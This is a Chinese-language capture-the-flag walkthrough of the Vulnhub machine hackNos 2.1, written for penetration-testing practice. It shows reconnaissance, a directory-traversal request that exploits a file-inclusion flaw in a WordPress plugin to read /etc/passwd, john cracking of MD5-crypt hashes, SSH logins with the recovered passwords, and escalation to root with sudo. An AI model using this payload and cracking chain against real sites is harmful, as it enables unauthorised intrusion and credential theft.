Vulnhub靶机下载:
官网地址:https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova
测试机系统:kali、win10
测试机IP:192.168.3.140
kali:192.168.3.136
一、信息收集
1.主机发现
arp-scan -l #因为用的桥接,所以能扫描到别的主机
这里可以打开虚拟机设置,通过网卡来找到主机
发现靶机IP:192.168.3.220
2.端口扫描
步骤一:通过浏览器访问80端口发现为Apache安装默认页面使用dirsearch进行目录扫描...发现tsweb目录为WordPress站点...
git clone git://github.com/maurosoria/dirsearch //dirsearch项目地址
dirsearch -u http://192.168.1.213/ 或者
./dirsearch.py -u http://192.168.213/ // 进入dirsearch目录输入这条命令
得到一个http://192.168.5.133/tsweb/,在浏览器中访问它
步骤二:使用wpscan工具进行漏洞扫描...
wpscan --url http://192.168.3.220/tsweb -e ap
步骤三:通过以上的扫描结果到Exploit-DB中进行查找漏洞利用方法,可以查看该漏洞可以查看具有此漏洞机器上的passwd文件内容
发现有漏洞的插件GraceMedia Media Player
https://www.exploit-db.com/exploits/46537 //漏洞地址
The following URL have been confirmed that is vulnerable to local file
inclusion.
浏览器访问:http://192.168.3.220/tsweb/wp-content/plugins/gracemedia-media-player/
打开readme.txt
Local File Inclusion POC:
GET
/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
将GET下面的字符串拼接在网页后面
得到flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash
john /root/桌面/1.txt --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt
攻击目标主机-->通过WP的插件漏洞获取到目标的/etc/passwd文件内容且存在flag用户-->使用john进行密码加密值的破解成功并登录
flag/topsecret
ssh flag@192.168.3.220
成功登录
Could not chdir to home directory /home/flag: No such file or directory
flag@hacknos:/$
cat /etc/passwd | grep bash
cat /var/backups/passbkp/md5-hash
flag@hacknos:/$ cat /etc/passwd |grep bash
root:x:0:0:root:/root:/bin/bash
rohit:x:1000:1000:hackNos:/home/rohit:/bin/bash
flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash
flag@hacknos:/$ cat /var/backups/passbkp/md5-hash
$1$rohit$01Dl0NQKtgfeL08fGrggi0
flag@hacknos:/$
得到$1$rohit$01Dl0NQKtgfeL08fGrggi0
步骤七:对rohit用户进行解密...并获取密码!%hack41 切换到rohit用户...
将$1$rohit$01Dl0NQKtgfeL08fGrggi0写入文档中
john test2 --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt
得到: rohit/!%hack41 直接远程连接 ssh rohit@192.18.3.220 sudo su #切换root权限 ls cat user.txt